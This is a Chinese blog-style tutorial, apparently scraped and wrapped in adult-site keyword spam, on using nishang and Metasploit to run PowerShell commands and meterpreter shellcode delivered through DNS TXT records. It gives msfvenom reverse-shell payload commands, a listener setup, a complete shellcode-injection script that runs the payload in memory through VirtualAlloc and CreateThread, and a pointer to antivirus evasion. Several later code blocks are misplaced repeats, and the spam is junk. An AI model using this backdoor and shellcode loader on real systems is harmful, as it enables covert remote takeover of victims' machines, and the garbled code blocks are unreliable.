亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發 > PowerShell > 正文

通過DNS TXT記錄執行powershell

2020-03-26 18:52:26
字體:
來源:轉載
供稿:網友

0x00簡介

DNS TXT記錄一般用來記錄某個主機名或者域名設置的說明,在這里可以填寫任何東西,長度限制255。絕大多數的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創建TXT記錄執行powershell/266935.html">powershell/266722.html">powershell腳本。當然,首先你要有一個域名。

0x01創建TXT記錄

這里需要使用nishang中的一個腳本 OUT-DnsTxt

1.常見命令

因為常見命令比較短,所以可以直接添加到TXT記錄中,如下圖:

powershell,執行腳本,執行exe,執行bat

現在查看一下TXT記錄:

powershell,執行腳本,執行exe,執行bat

可以看到記錄已經成功添加了。

2.腳本

由于TXT記錄長度限制為255,如果要添加一個腳本到記錄里面,需要添加多個TXT記錄。下面是一個例子,自己寫了一個PSH腳本:

function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #>  [CmdletBinding()] Param ()  net user }

使用Out-Dnstxt進行轉換:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

由于這個腳本比較小,所以只生產兩行:

powershell,執行腳本,執行exe,執行bat

可以分別將這兩行內容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:

powershell,執行腳本,執行exe,執行bat

查看TXT,可以看到內容都已經添加好了:

powershell,執行腳本,執行exe,執行bat

0x02 執行Powershell

添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執行這些腳本。

DNS_TXT_Pwnage.ps1 是一個通過DNS TXT來接收命令或者腳本的一個后門腳本

這里還需要添加兩條記錄,strat與stop,具體如下圖:

powershell,執行腳本,執行exe,執行bat

1.執行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop

解釋一下參數:

startdomain 為創建的 start.domain ,返回一個字符串; cmdstring 為任意輸入的字符串; commanddomain 為創建的執行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創建的執行腳本TXT記錄的域名或子域名 ; Subdomains 為執行腳本創建TXT記錄的個數(如1.2中創建的腳本,該值為2); StopString 為任意輸入的字符串。

此處比較重要的參數為 startdomain ,他會與我們輸入的cmdstring以及psstring進行比較,如果與cmdstring值相等,則執行 commanddomain 即命令,與psstring相等則執行 psdomain 即腳本。

上面為執行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執行結果如下圖:

powershell,執行腳本,執行exe,執行bat

我們可以通過修改command.domain的TXT值來執行不同的命令。比如Get-Host:

powershell,執行腳本,執行exe,執行bat

2.執行腳本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

這里要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字符串。效果如下圖:

powershell,執行腳本,執行exe,執行bat

這里多一個參數 Arguments ,要寫明要執行的函數名,測試發現,在腳本中含有中文時會失敗。對于需要帶參數的腳本可以修改腳本指定參數值。

0x03 執行Shellcode

可以通過TXT記錄執行shellcode,首先,我們使用msf生成一個powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

使用Out-DnsTxt對生成的文件進行轉換:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt You need to create 3 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

然后將以上記錄分別添加到TXT記錄中,如下圖:

powershell,執行腳本,執行exe,執行bat

測試使用的32位win7系統,使用msf開啟監聽:

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > exploit  [*] Started reverse handler on x.x.x.x:8887 [*] Starting the payload handler...

我們還需要一個獲取TXT記錄并執行的腳本,這里我改了一個腳本:

function Execute-Code { <# .PARAMETER Shelldomain The domain (or subdomain) whose subbdomain's TXT records would hold shellcode. .PARAMETER subdomains The number of subdomains which would be used to provide shellcode from their TXT records. .PARAMETER AUTHNS Authoritative Name Server for the domains. .EXAMPLE PS > Execute-Code The payload will ask for all required options. .EXAMPLE PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net. Use above from non-interactive shell. #>  [CmdletBinding()] Param(     [Parameter(Position = 0, Mandatory = $True)]     [String]     $Shelldomain,     [Parameter(Position = 1, Mandatory = $True)]     [String]     $Subdomains,        [Parameter(Position = 2, Mandatory = $True)]     [String]     $AUTHNS   )  function Get-ShellCode   {   Param(       [Parameter()]       [String]       $Shelldomain     )     $i = 1     while ($i -le $subdomains)     {       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")        $temp = $getcommand | select-string -pattern "`""       $tmp1 = ""       $tmp1 = $tmp1 + $temp       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""       $i++     }    #$encdata = ""     $dec = [System.Convert]::FromBase64String($encdata)     $ms = New-Object System.IO.MemoryStream     $ms.Write($dec, 0, $dec.Length)     $ms.Seek(0,0) | Out-Null     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)     $sr = New-Object System.IO.StreamReader($cs)     $sc = $sr.readtoend()   return $sc   }   $Shell = (Get-ShellCode $Shelldomain)   #Remove unrequired things from msf shellcode   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "   [Byte[]]$sc = $tmp -split ','   #Code Execution logic  $code = @"  [DllImport("kernel32.dll")]  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  [DllImport("kernel32.dll")]  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  [DllImport("msvcrt.dll")]  public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru  $size = 0x1000    if ($sc.Length -gt 0x1000) {$size = $sc.Length}    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)    for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}  Try {     $winFunc::CreateThread(0,0,$x,0,0,0)     sleep 100000   }  Catch  {  [system.exception]  "caught a system exception"  } }

參數說明, Shelldomain 為創建txt記錄的域名或子域名; subdomains 為創建TXT域名的個數,如上面所創建的為3; AUTHNS 為域的權威名稱服務器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net

在32位win7上執行:

PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1

成功獲取meterpreter會話:

powershell,執行腳本,執行exe,執行bat

64位的請自行修改payload及腳本。

0x04 補充

Metasploit中已經含有此腳本 dns_txt_query_exec.rb ,此腳本查詢TXT記錄的順序為a.domain,b.domain…,下面是一個示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

使用下面的腳本對該文件進行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

0

輸出如下:

powershell,執行腳本,執行exe,執行bat

將這三行分別添加到a.domain,b.domain,c.domain的TXT記錄中:

powershell,執行腳本,執行exe,執行bat

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

1

msf開啟監聽:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

2

運行exe,獲得meterpreter:

powershell,執行腳本,執行exe,執行bat

至于免殺,可以直接生成c格式的shellcode,然后按照 打造免殺payload 來做。

0x05 小結

本文主要介紹一種執行命令的方式以及nishang的腳本使用,希望能對大家有幫助。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产免费久久av| 欧美第一黄色网| 国产亚洲美女精品久久久| 在线观看国产精品日韩av| 韩剧1988在线观看免费完整版| 一本色道久久综合狠狠躁篇怎么玩| 成人免费网视频| 日韩在线观看免费网站| 日韩亚洲综合在线| 亚洲精品国产成人| 91网站免费看| 国产精品偷伦一区二区| 91亚洲精品在线| 在线视频免费一区二区| 中文字幕亚洲在线| 在线视频亚洲欧美| 亚洲一区二区三区乱码aⅴ| 亚洲视频网站在线观看| 亚洲人成免费电影| 一区二区av在线| 国内精品久久久久久久久| 亚洲网站视频福利| 日本国产一区二区三区| 在线看日韩欧美| 日本午夜人人精品| 国产精品视频资源| 中文字幕精品一区久久久久| 久久国产精品久久精品| 中文字幕欧美在线| 亚洲精品98久久久久久中文字幕| 2018国产精品视频| 国产亚洲免费的视频看| 亚洲天天在线日亚洲洲精| 亚洲美女动态图120秒| 成人在线视频网| 亚洲在线免费观看| 国产精品96久久久久久| 国产欧洲精品视频| 午夜精品久久17c| 一区二区三区久久精品| 亚洲性av在线| 日韩精品一区二区三区第95| 欧美巨乳在线观看| 日韩亚洲综合在线| 精品国产依人香蕉在线精品| 欧美国产日韩免费| 日韩av片免费在线观看| 国产噜噜噜噜噜久久久久久久久| 久久中文字幕一区| 亚洲理论在线a中文字幕| 国产精品亚洲综合天堂夜夜| 亚洲国产精品va| 色一区av在线| 日韩电影中文字幕在线观看| 亚洲最大的免费| 俺也去精品视频在线观看| 国产精品高清在线观看| 国产精品久久久久影院日本| 欧美国产日韩一区二区| 色综合色综合久久综合频道88| 亚洲精品美女视频| 国产精品白嫩初高中害羞小美女| 国产欧美日韩精品专区| 日韩欧美一区二区三区久久| 18性欧美xxxⅹ性满足| 欧美国产高跟鞋裸体秀xxxhd| 青青草99啪国产免费| 欧美日韩在线影院| 国产一区二区三区久久精品| 国产精品av在线播放| 中文字幕亚洲精品| 亚洲最大福利网| 日韩中文字幕免费视频| 欧美激情精品久久久久久蜜臀| 51ⅴ精品国产91久久久久久| 亚洲第一中文字幕在线观看| 欧美乱妇40p| 日韩av一区在线| 久久久久久亚洲精品中文字幕| 国产成人在线精品| 97视频在线观看免费高清完整版在线观看| 91精品久久久久久久久不口人| 日韩精品www| 亚洲国产欧美在线成人app| 亚洲国产欧美在线成人app| 日韩精品免费在线观看| 色婷婷久久一区二区| 国产精品69av| 亚洲欧美一区二区三区久久| 国产精品国产三级国产aⅴ浪潮| 日韩视频一区在线| 51精品国产黑色丝袜高跟鞋| 亚洲成人av片在线观看| 亚洲激情成人网| 久久久免费电影| 亚洲综合在线播放| 精品久久久久久国产| 欧美成人三级视频网站| 亚洲老头老太hd| 色综久久综合桃花网| 在线观看精品国产视频| 欧美另类暴力丝袜| 亚洲91精品在线观看| 超碰97人人做人人爱少妇| 狠狠综合久久av一区二区小说| 国产日本欧美一区| 黄色精品一区二区| 欧美在线免费视频| 久久久久久久一区二区| 亚洲精品av在线播放| 欧美日韩亚洲精品内裤| 国产情人节一区| 欧美日韩亚洲视频一区| 亚洲第一色中文字幕| 成人有码视频在线播放| 欧美精品情趣视频| 久久99精品久久久久久琪琪| 欧美日韩中文字幕在线| 亚洲国产精彩中文乱码av| 日韩久久午夜影院| 久久久久久成人精品| 日韩成人激情视频| 亚洲视频axxx| 一本色道久久88综合亚洲精品ⅰ| 亚洲天堂一区二区三区| 成人乱色短篇合集| 色妞色视频一区二区三区四区| 欧美日韩国产123| 亚洲图片欧美日产| 不卡中文字幕av| 伊人成人开心激情综合网| 亚洲天天在线日亚洲洲精| 国产精品嫩草视频| 在线视频日本亚洲性| 深夜福利91大全| 久久国产一区二区三区| 国产精品欧美激情| 精品中文字幕在线观看| 亚洲免费小视频| 国产精品扒开腿爽爽爽视频| 日韩精品视频观看| 精品调教chinesegay| 97国产精品免费视频| 69**夜色精品国产69乱| 最好看的2019的中文字幕视频| 91精品国产777在线观看| 亚洲a在线播放| 欧美国产日韩中文字幕在线| 国内精品在线一区| 久久精品国产久精国产一老狼| 97视频在线观看亚洲| 日韩激情av在线播放| 日韩福利伦理影院免费| 一区二区在线免费视频| 国产在线视频91| 欧美精品情趣视频| 亚洲日韩第一页| 亚洲欧美日韩综合| 日韩在线精品视频| 久久精品国产99国产精品澳门| 日韩中文字幕免费视频| 92国产精品久久久久首页| 91在线精品播放| 国产欧美精品日韩|